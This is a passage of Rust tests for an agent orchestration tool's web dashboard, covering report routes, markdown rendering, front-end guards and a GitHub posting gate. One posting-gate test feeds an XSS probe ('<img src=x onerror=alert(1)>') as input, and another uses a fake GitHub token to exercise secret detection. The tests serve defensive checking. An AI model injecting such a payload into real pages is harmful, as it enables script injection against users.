17518        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
17519
17520        assert_eq!(res.status, 200);
17521        assert!(
17522            res.headers
17523                .contains("content-type: text/plain; charset=utf-8"),
17524            "a browser must render it, not download it: {}",
17525            res.headers
17526        );
17527        // The assertion is on content, not on the absence of escapes: colour
17528        // is a process-global that `serve` turns off at startup, and another
17529        // test in this binary may own it while this one runs.
17530        assert!(
17531            res.body.contains("20260902-140501-a1b2"),
17532            "the report is about the run that was asked for: {}",
17533            res.body
17534        );
17535    }
17536
17537    #[tokio::test]
17538    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
17539        // The view names the run's state directory, which reads the process-global home.
17540        crate::run::pin_test_home();
17541        let f = Fixture::start().await;
17542        let id = "20260902-140501-a1b2";
17543        write_run(&f.runs(), id, RunStatus::Stalled);
17544        // A stalled panel and one review round, written through the real
17545        // state file so the route reads what a run really leaves behind.
17546        let path = f.runs().join(id).join("run.json");
17547        let mut v: serde_json::Value =
17548            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
17549        v["tally"] = serde_json::json!({
17550            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
17551            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
17552            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
17553            "met_quorum": false, "rankings": 1
17554        });
17555        v["reviews"] = serde_json::json!([{
17556            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
17557            "e2e_deferred": true,
17558            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
17559                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
17560            ]}]
17561        }]);
17562        std::fs::write(&path, v.to_string()).unwrap();
17563        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
17564        std::fs::write(
17565            f.runs().join("20260902-140502-dead").join("run.json"),
17566            "{not json",
17567        )
17568        .unwrap();
17569
17570        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
17571
17572        assert_eq!(res.status, 200, "{}", res.body);
17573        assert!(res.headers.contains("content-type: application/json"));
17574        let j = res.json();
17575        assert_eq!(j["schema"], 1);
17576        assert_eq!(j["header"]["id"], id);
17577        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
17578        let kinds: Vec<&str> = j["sections"]
17579            .as_array()
17580            .unwrap()
17581            .iter()
17582            .map(|s| s["kind"].as_str().unwrap())
17583            .collect();
17584        assert_eq!(kinds, ["candidates", "tally", "review"]);
17585        let tally = &j["sections"][1]["tally"];
17586        assert_eq!(
17587            (tally["decided"].clone(), tally["provisional"].clone()),
17588            (false.into(), true.into())
17589        );
17590        let round = &j["sections"][2]["rounds"][0];
17591        assert_eq!(round["e2e"]["state"], "deferred");
17592        assert_eq!(round["findings"][0]["severity"], "major");
17593        assert_eq!(round["findings"][0]["blocking"], true);
17594        assert_eq!(round["findings"][0]["state"], "open");
17595
17596        // The raw route keeps working beside it.
17597        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
17598
17599        // An unreadable run is an error, as on the text route, and is counted.
17600        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
17601        assert_ne!(bad.status, 200, "{}", bad.body);
17602        assert_eq!(
17603            bad.status,
17604            f.get("/api/runs/20260902-140502-dead/report").await.status
17605        );
17606        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
17607        assert_eq!(
17608            f.get("/api/runs/20260902-999999-ffff/report.json")
17609                .await
17610                .status,
17611            404
17612        );
17613    }
17614
17615    #[tokio::test]
17616    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
17617        crate::run::pin_test_home();
17618        let f = Fixture::start().await;
17619        let id = "20260902-140503-delib";
17620        write_run(&f.runs(), id, RunStatus::Merged);
17621        let path = f.runs().join(id).join("run.json");
17622        let mut v: serde_json::Value =
17623            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
17624        v["judgements"] = serde_json::json!([
17625            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
17626        ]);
17627        v["tally"] = serde_json::json!({
17628            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
17629            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
17630            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
17631            "met_quorum": true, "rankings": 1
17632        });
17633        v["deliberation"] = serde_json::json!([
17634            {
17635                "round": 1,
17636                "turns": [
17637                    {
17638                        "judge": 1,
17639                        "agent": "judge-1",
17640                        "body": "I prefer candidate **A** because it has cleaner tests.",
17641                        "tentative": "A"
17642                    }
17643                ]
17644            },
17645            {
17646                "round": 2,
17647                "turns": [
17648                    {
17649                        "judge": 1,
17650                        "agent": "judge-1",
17651                        "body": "Still thinking, no choice yet.",
17652                        "tentative": null
17653                    }
17654                ]
17655            }
17656        ]);
17657        std::fs::write(&path, v.to_string()).unwrap();
17658
17659        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
17660        assert_eq!(res.status, 200, "{}", res.body);
17661        let j = res.json();
17662        let judging = j["sections"]
17663            .as_array()
17664            .unwrap()
17665            .iter()
17666            .find(|s| s["kind"] == "judging")
17667            .expect("judging section exists");
17668
17669        // Existing summary lines remain intact
17670        let delib_lines = judging["deliberation"].as_array().unwrap();
17671        assert_eq!(delib_lines.len(), 2);
17672        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
17673        assert_eq!(delib_lines[1], "r2 judge 1 -> -");
17674
17675        // rounds carry turn bodies, tentative and parsed body_md
17676        let rounds = judging["rounds"].as_array().unwrap();
17677        assert_eq!(rounds.len(), 2);
17678        let r1_t0 = &rounds[0]["turns"][0];
17679        assert_eq!(r1_t0["judge"], 1);
17680        assert_eq!(r1_t0["agent"], "judge-1");
17681        assert_eq!(r1_t0["tentative"], "A");
17682        assert_eq!(
17683            r1_t0["body"],
17684            "I prefer candidate **A** because it has cleaner tests."
17685        );
17686        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
17687
17688        let r2_t0 = &rounds[1]["turns"][0];
17689        assert_eq!(r2_t0["judge"], 1);
17690        assert_eq!(r2_t0["agent"], "judge-1");
17691        assert!(r2_t0["tentative"].is_null());
17692        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
17693        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
17694
17695        // A run with empty deliberation array yields empty rounds
17696        let id_empty = "20260902-140504-nodelib";
17697        write_run(&f.runs(), id_empty, RunStatus::Merged);
17698        let path_empty = f.runs().join(id_empty).join("run.json");
17699        let mut v_empty: serde_json::Value =
17700            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
17701        v_empty["judgements"] = serde_json::json!([
17702            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
17703        ]);
17704        v_empty["deliberation"] = serde_json::json!([]);
17705        std::fs::write(&path_empty, v_empty.to_string()).unwrap();
17706
17707        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
17708        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
17709        let j_empty = res_empty.json();
17710        let judging_empty = j_empty["sections"]
17711            .as_array()
17712            .unwrap()
17713            .iter()
17714            .find(|s| s["kind"] == "judging")
17715            .expect("judging section exists");
17716        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
17717    }
17718
17719    #[tokio::test]
17720    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
17721        let f = Fixture::start().await;
17722
17723        let html = f.get("/").await;
17724        let css = f.get("/app.css").await;
17725        let js = f.get("/app.js").await;
17726
17727        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
17728        assert!(
17729            html.headers
17730                .contains("content-type: text/html; charset=utf-8")
17731        );
17732        assert!(css.headers.contains("content-type: text/css"));
17733        assert!(js.headers.contains("content-type: text/javascript"));
17734        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
17735    }
17736
17737    #[test]
17738    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
17739        let body = |name: &str| {
17740            let at = APP_JS
17741                .find(name)
17742                .unwrap_or_else(|| panic!("{name} missing"));
17743            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
17744        };
17745        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
17746        let note = body("function landRoundNote");
17747        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
17748        assert!(note.contains("Land round ${round}"));
17749        let land = body("function renderLand");
17750        let note_at = land
17751            .find("landRoundNote(pr)")
17752            .expect("renderLand uses the note");
17753        assert!(
17754            note_at
17755                < land
17756                    .find("roundRail(pr)")
17757                    .expect("renderLand uses the rail")
17758        );
17759    }
17760
17761    #[test]
17762    fn the_runs_page_redesign_keeps_its_guards() {
17763        let body = |name: &str| {
17764            let at = APP_JS
17765                .find(name)
17766                .unwrap_or_else(|| panic!("{name} missing"));
17767            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
17768        };
17769        // A null child must never reach the native append (it prints "null").
17770        let land = body("function renderLand");
17771        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
17772        assert!(
17773            !land.contains("box.append("),
17774            "renderLand must use append()"
17775        );
17776        assert!(land.contains("append(box, ["));
17777        // Tabs are hash routes; the run id alone decides a reload.
17778        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
17779        assert!(
17780            body("function applyRoute")
17781                .contains("route.name !== state.route.name || route.id !== state.route.id")
17782        );
17783        // The decorative diagram is gone, the strip and its guards stay.
17784        assert!(!APP_JS.contains("adviseConvergeDiagram"));
17785        assert!(!INDEX_HTML.contains("advise-converge"));
17786        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
17787        assert!(APP_JS.contains("provisional"));
17788        for id in [
17789            "run-tab-overview",
17790            "run-tab-timeline",
17791            "run-tab-report",
17792            "run-report",
17793            "runs-scope",
17794        ] {
17795            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
17796        }
17797        assert!(!INDEX_HTML.contains("runs-tree"));
17798        assert!(!INDEX_HTML.contains("run-raw-panel"));
17799        // Fold still says it cannot be resumed.
17800        assert!(APP_JS.contains("resume"));
17801        // The unreadable-runs count stays on the page.
17802        assert!(APP_JS.contains("unreadable"));
17803    }
17804
17805    #[test]
17806    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
17807        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
17808        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
17809        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
17810        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
17811        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
17812        // The subtitle still counts them whatever the banner does.
17813        assert!(APP_JS.contains("unreadable` : null"));
17814    }
17815
17816    #[test]
17817    fn blocked_run_detail_exposes_the_failed_gate_reason() {
17818        let mut state = RunState::new(
17819            "/repo".into(),
17820            "main".into(),
17821            "abc".into(),
17822            "task".into(),
17823            crate::config::Config::default(),
17824        );
17825        state.status = RunStatus::Blocked;
17826        state.gate_ran = true;
17827        state.gate.push(crate::run::CommandOutcome {
17828            command: "cargo make check".into(),
17829            code: Some(1),
17830            output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
17831            duration_ms: 0,
17832            resource_blocked: false,
17833        });
17834        let view = RunDetailView::of(
17835            state,
17836            false,
17837            crate::run::Liveness::Unknown,
17838            None,
17839            None,
17840            None,
17841        );
17842        let value = serde_json::to_value(view).unwrap();
17843        assert_eq!(
17844            value["stop_reason"],
17845            "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
17846        );
17847    }
17848
17849    #[test]
17850    fn the_run_detail_payload_says_whether_the_run_is_done() {
17851        // `landView` reads `run.done`; the detail response must carry it.
17852        for (status, done) in [
17853            (RunStatus::Superseded, true),
17854            (RunStatus::Blocked, true),
17855            (RunStatus::Landing, false),
17856        ] {
17857            let mut state = RunState::new(
17858                std::path::PathBuf::from("/repo"),
17859                "main".to_owned(),
17860                "abc".to_owned(),
17861                "x".to_owned(),
17862                crate::config::Config::default(),
17863            );
17864            state.status = status;
17865            let v = serde_json::to_value(RunDetailView::of(
17866                state,
17867                false,
17868                crate::run::Liveness::Unknown,
17869                None,
17870                None,
17871                None,
17872            ))
17873            .unwrap();
17874            assert_eq!(v["done"], done, "{status:?}");
17875        }
17876    }
17877
17878    /// The first node of a markdown block holds a `strong` somewhere.
17879    fn has_strong(nodes: &[md::Node]) -> bool {
17880        serde_json::to_string(nodes).unwrap().contains("strong")
17881    }
17882
17883    #[test]
17884    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
17885        let mut state = RunState::new(
17886            std::path::PathBuf::from("/repo"),
17887            "main".to_owned(),
17888            "abc".to_owned(),
17889            "x".to_owned(),
17890            crate::config::Config::default(),
17891        );
17892        let proposal = |approach: &str| {
17893            serde_json::json!({
17894                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
17895            })
17896        };
17897        state.advice = Some(
17898            serde_json::from_value(serde_json::json!({
17899                "records": [
17900                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
17901                     "proposal": proposal("do **this**")},
17902                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
17903                ],
17904                "synthesis": "- one\n- **two**\n\n`code`",
17905            }))
17906            .unwrap(),
17907        );
17908        state.candidates = serde_json::from_value(serde_json::json!([
17909            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
17910             "summary": "did **it**"},
17911            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
17912        ]))
17913        .unwrap();
17914        // Recorded in ascending severity, the reverse of how the page sorts
17915        // them: the arrays must follow the record, not the display.
17916        state.reviews = serde_json::from_value(serde_json::json!([{
17917            "round": 1, "head": "h",
17918            "reviews": [{
17919                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
17920                "findings": [
17921                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
17922                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
17923                ],
17924            }],
17925            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
17926            "fix": {"agent": "a", "notes": "fixed **it**",
17927                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
17928        }, {"round": 2, "head": "h2", "reviews": []}]))
17929        .unwrap();
17930
17931        let v = serde_json::to_value(RunDetailView::of(
17932            state,
17933            false,
17934            crate::run::Liveness::Unknown,
17935            None,
17936            None,
17937            None,
17938        ))
17939        .unwrap();
17940
17941        let strong = |p: &str| {
17942            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
17943            assert!(n.to_string().contains("strong"), "{p}: {n}");
17944        };
17945        strong("/advice_md/synthesis");
17946        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
17947        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
17948        strong("/advice_md/approaches/0");
17949        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
17950        strong("/candidate_summaries_md/0");
17951        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
17952        strong("/reviews_md/0/reviewers/0/summary");
17953        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
17954        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
17955        assert!(f[1].to_string().contains("strong"));
17956        strong("/reviews_md/0/reconsideration/0");
17957        strong("/reviews_md/0/fix/notes");
17958        strong("/reviews_md/0/fix/rejected/0");
17959        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
17960        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
17961        // The raw strings stay, and no schema moved.
17962        assert_eq!(v["candidates"][0]["summary"], "did **it**");
17963        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
17964    }
17965
17966    #[test]
17967    fn a_run_without_advice_has_no_advice_md() {
17968        let state = RunState::new(
17969            std::path::PathBuf::from("/repo"),
17970            "main".to_owned(),
17971            "abc".to_owned(),
17972            "x".to_owned(),
17973            crate::config::Config::default(),
17974        );
17975        let p = run_prose_md(&state);
17976        assert!(p.advice_md.is_none());
17977        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
17978    }
17979
17980    #[test]
17981    fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
17982        let store = ask::Questions::at(PathBuf::from("unused"));
17983        let gt = crate::github_text::Withheld {
17984            title: false,
17985            body: true,
17986            categories: vec!["sensitive-data".into()],
17987        };
17988        let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
17989        let (detail, comparison) =
17990            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
17991        let mut q = Question::new(
17992            "r".into(),
17993            "github-text".into(),
17994            "posting-gate".into(),
17995            "s".into(),
17996            detail,
17997            Vec::new(),
17998        );
17999        assert!(
18000            QuestionView::of(q.clone(), &store, None)
18001                .posting_view
18002                .is_none()
18003        );
18004        q.posting_comparison = Some(comparison);
18005        let view = QuestionView::of(q.clone(), &store, None);
18006        let field = &view.posting_view.unwrap().fields[0];
18007        assert_eq!(
18008            field
18009                .original
18010                .iter()
18011                .map(|f| f.text.as_str())
18012                .collect::<String>(),
18013            body
18014        );
18015        assert!(field.original[0].text.starts_with("<img"));
18016        let original_question: Question =
18017            serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
18018        assert_eq!(original_question, q);
18019        q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
18020            .original
18021            .start = 1;
18022        assert!(
18023            QuestionView::of(q.clone(), &store, None)
18024                .posting_view
18025                .is_none()
18026        );
18027        q.posting_comparison = original_question.posting_comparison;
18028        q.detail.push_str("extra context");
18029        assert!(
18030            QuestionView::of(q.clone(), &store, None)
18031                .posting_view
18032                .is_some()
18033        );
18034        q.detail.insert(0, 'x');
18035        assert!(QuestionView::of(q, &store, None).posting_view.is_none());
18036    }
18037
18038    #[test]
18039    fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
18040        let store = ask::Questions::at(PathBuf::from("unused"));
18041        let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
18042        let gt = crate::github_text::Withheld::from_check(
18043            &crate::github_text::check("fix: x", body),
18044            "fix: x",
18045            body,
18046        )
18047        .unwrap();
18048        let (detail, comparison) =
18049            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
18050        let mut q = Question::new(
18051            "r".into(),
18052            "github-text".into(),
18053            "posting-gate".into(),
18054            "s".into(),
18055            detail,
18056            Vec::new(),
18057        );
18058        q.posting_comparison = Some(comparison);
18059        let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
18060        let field = &value["posting_view"]["fields"][0];
18061        let group = &field["replacement_group"];
18062        let triggers = group["triggers"].as_array().unwrap();
18063        assert_eq!(triggers.len(), 2);
18064        assert_ne!(triggers[0], triggers[1]);
18065        for id in triggers {
18066            assert!(
18067                field["original"]
18068                    .as_array()
18069                    .unwrap()
18070                    .iter()
18071                    .any(|f| &f["pair"] == id)
18072            );
18073            assert!(
18074                !field["changed"]
18075                    .as_array()
18076                    .unwrap()
18077                    .iter()
18078                    .any(|f| &f["pair"] == id)
18079            );
18080        }
18081        q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
18082            group["id"].as_u64().unwrap() as usize;
18083        assert!(
18084            QuestionView::of(q, &store, None).posting_view.is_none(),
18085            "group and trigger IDs cannot collide"
18086        );
18087    }
18088
18089    #[test]
18090    fn a_question_view_carries_markdown_for_each_thread_turn() {
18091        let home = TempDir::new().unwrap();
18092        let store = ask::Questions::at(home.path().join("questions"));
18093        let mut q = Question::new(
18094            "run".to_owned(),
18095            "implement".to_owned(),
18096            "impl-A".to_owned(),
18097            "which?".to_owned(),
18098            String::new(),
18099            Vec::new(),
18100        );
18101        q.say("plain words").unwrap();
18102        q.reply("use **this**", Vec::new()).unwrap();
18103        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
18104        let bodies = &v["thread_bodies_md"];
18105        assert_eq!(bodies.as_array().unwrap().len(), 2);
18106        assert!(!bodies[0].to_string().contains("strong"));
18107        assert!(bodies[1].to_string().contains("strong"));
18108    }
18109
18110    #[test]
18111    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
18112        let home = TempDir::new().unwrap();
18113        let store = ask::Questions::at(home.path().join("questions"));
18114        let mut q = Question::new(
18115            "run".to_owned(),
18116            "conduct".to_owned(),
18117            "conduct".to_owned(),
18118            "which?".to_owned(),
18119            String::new(),
18120            Vec::new(),
18121        );
18122        q.say("plain words").unwrap();
18123        q.thread.push(ask::Turn {
18124            who: ask::Who::Agent,
18125            body: "Settled as `merge`".to_owned(),
18126            at: jiff::Timestamp::now(),
18127            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
18128        });
18129        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
18130        let notes = &v["thread_notes_md"];
18131        assert_eq!(notes.as_array().unwrap().len(), 2);
18132        assert!(notes[0].is_null());
18133        let text = notes[1].to_string();
18134        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
18135        assert!(APP_JS.contains("ask-turn-note"));
18136    }
18137
18138    #[test]
18139    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
18140        // The land panel defers to `run.status` for merged, and labels a
18141        // recorded-open PR on any finished run (superseded, blocked, ...) as
18142        // last seen, never as live state.
18143        assert!(APP_JS.contains("function landView(run, raw) {"));
18144        assert!(
18145            APP_JS.contains(
18146                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
18147            )
18148        );
18149        assert!(APP_JS.contains("const pr = landView(run, raw);"));
18150        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
18151        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
18152        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
18153    }
18154
18155    #[test]
18156    fn live_runs_are_never_hidden_or_folded_as_superseded() {
18157        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
18158        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
18159        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
18160        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
18161    }
18162
18163    #[test]
18164    fn review_rounds_label_a_distinct_verified_head() {
18165        assert!(APP_JS.contains("round.verified_head"));
18166        assert!(APP_JS.contains("verified HEAD"));
18167        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
18168    }
18169
18170    #[test]
18171    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
18172        // A blocked task's chip and note must not fall back to a queued-like
18173        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
18174        // itself by e11fc58 but never checked here.
18175        assert!(APP_JS.contains("blocked: { glyph:"));
18176        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
18177
18178        // `blocked_by` mixes task ids and question ids in the same list, and
18179        // the client can only tell them apart by checking each id against
18180        // what it actually knows - never by guessing from the id's shape.
18181        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
18182        assert!(
18183            APP_JS.contains(
18184                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
18185            ),
18186            "the note line must name what a blocked task is waiting on, not just that it is blocked"
18187        );
18188        // The classification must key off `status_str`, never off `blocked_by`
18189        // or `block_reason` merely being present - both can survive briefly
18190        // on a task a hold or a dead daemon just moved off `blocked`.
18191        assert!(APP_JS.contains("if (status === \"blocked\") {"));
18192
18193        // A question a task is blocked on gets its own node in the same
18194        // dependency graph, not just a task-shaped node with nothing known
18195        // about it.
18196        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
18197        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
18198        assert!(
18199            APP_JS.contains("location.hash = \"#/questions\";"),
18200            "a question node must jump to the Questions screen, not pretend to be a task"
18201        );
18202
18203        // `Task::answers` - decisions already made - are shown as a record on
18204        // the card, the same disclosure style as the full instruction.
18205        assert!(APP_JS.contains("Resolved questions"));
18206        assert!(APP_JS.contains("r.answersList.append("));
18207        assert!(APP_CSS.contains(".task-answers"));
18208        {
18209            let start = APP_JS
18210                .find("function updateTalkTaskRow")
18211                .expect("updateTalkTaskRow");
18212            let body = &APP_JS[start..];
18213            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
18214            assert!(
18215                body.contains(
18216                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
18217                ),
18218                "a chat-filed task row must link to the task page"
18219            );
18220            assert!(
18221                !body.contains("#/runs/") && !body.contains("#/queue/"),
18222                "the row must not branch to a run or the queue card"
18223            );
18224            assert!(APP_CSS.contains(".talk-task-link"));
18225        }
18226    }
18227
18228    #[test]
18229    fn a_task_notification_links_to_the_task_page() {
18230        // A task notice opens the task detail page, not the Backlog card.
18231        let start = APP_JS
18232            .find("function noticeLink(")
18233            .expect("noticeLink exists");
18234        let body = &APP_JS[start..];
18235        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
18236        assert!(
18237            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
18238            "a task notice's link must target the task page"
18239        );
18240        assert!(
18241            !body.contains("#/queue/"),
18242            "regression: the task link must not go back to the Backlog route"
18243        );
18244        assert!(
18245            APP_JS.contains(
18246                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
18247            ),
18248            "`#/tasks/<id>` must parse into the task route"
18249        );
18250
18251        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
18252        assert!(
18253            APP_JS.contains(
18254                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
18255            ),
18256            "`#/queue/<id>` must parse into a route carrying that id"
18257        );
18258
18259        // And the Backlog view has to actually land on the card once it can
18260        // - see consumeQueueFocus(), which renderQueue() calls on every pass
18261        // so a focus set before the queue has loaded is retried once it has.
18262        assert!(APP_JS.contains("state.queueFocus = route.id;"));
18263        assert!(APP_JS.contains("function consumeQueueFocus()"));
18264        assert!(APP_JS.contains("jumpToTask(id)"));
18265    }
18266
18267    #[test]
18268    fn notifications_distinguish_actionable_questions_from_informational_notices() {
18269        let start = APP_JS
18270            .find("function noticeCoveredBy(")
18271            .expect("noticeCoveredBy exists");
18272        let body = &APP_JS[start..];
18273        let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
18274
18275        // An open question provides an actionable link to the questions route
18276        assert!(body.contains("q.status === \"open\""));
18277        assert!(body.contains("href: \"#/questions\""));
18278        assert!(body.contains("Answer in question"));
18279
18280        // A resolved question displays status rather than an actionable link
18281        assert!(body.contains("(resolved)"));
18282        assert!(body.contains("(closed)"));
18283    }
18284
18285    /// Chat rows are two lines at every width: the title alone, then the
18286    /// shrinkable secondary info.
18287    #[test]
18288    fn chat_rows_put_the_title_alone_on_the_first_line() {
18289        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
18290        assert!(APP_CSS.contains(
18291            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
18292        ));
18293        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
18294        assert!(APP_JS.contains("class: \"badge talk-unread\""));
18295    }
18296
18297    #[test]
18298    fn run_rows_put_the_title_alone_on_the_first_line() {
18299        assert!(
18300            APP_CSS.contains(
18301                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
18302            )
18303        );
18304        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
18305        assert!(APP_JS.contains("class: \"card run-card\""));
18306        assert!(APP_JS.contains("class: \"repo run-id\""));
18307    }
18308
18309    /// Wide screens get a master/detail layout built from the views a phone
18310    /// drills into. These are string assertions: they pin the contract between
18311    /// the three assets, not how it looks.
18312    #[test]
18313    fn wide_screens_show_list_and_preview_side_by_side() {
18314        // One breakpoint, spelled the same in the script and the stylesheet.
18315        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
18316        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
18317        assert!(APP_CSS.contains("main[data-split]"));
18318        assert!(APP_CSS.contains("body[data-split]"));
18319
18320        // The route -> panes table, and a narrow screen opting out of it.
18321        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
18322        assert!(
18323            APP_JS.contains(
18324                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
18325            )
18326        );
18327        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
18328        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
18329        assert!(INDEX_HTML.contains("id=\"split-empty\""));
18330
18331        // Selection is derived from the route, and only ever paints a row.
18332        assert!(APP_JS.contains("function markSelected() {"));
18333        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
18334        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
18335        // The dense row must override the stacked card the 720px block sets up.
18336        assert!(
18337            APP_CSS.contains(
18338                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
18339            )
18340        );
18341
18342        // Independent scrolling: the page stops scrolling, each pane does.
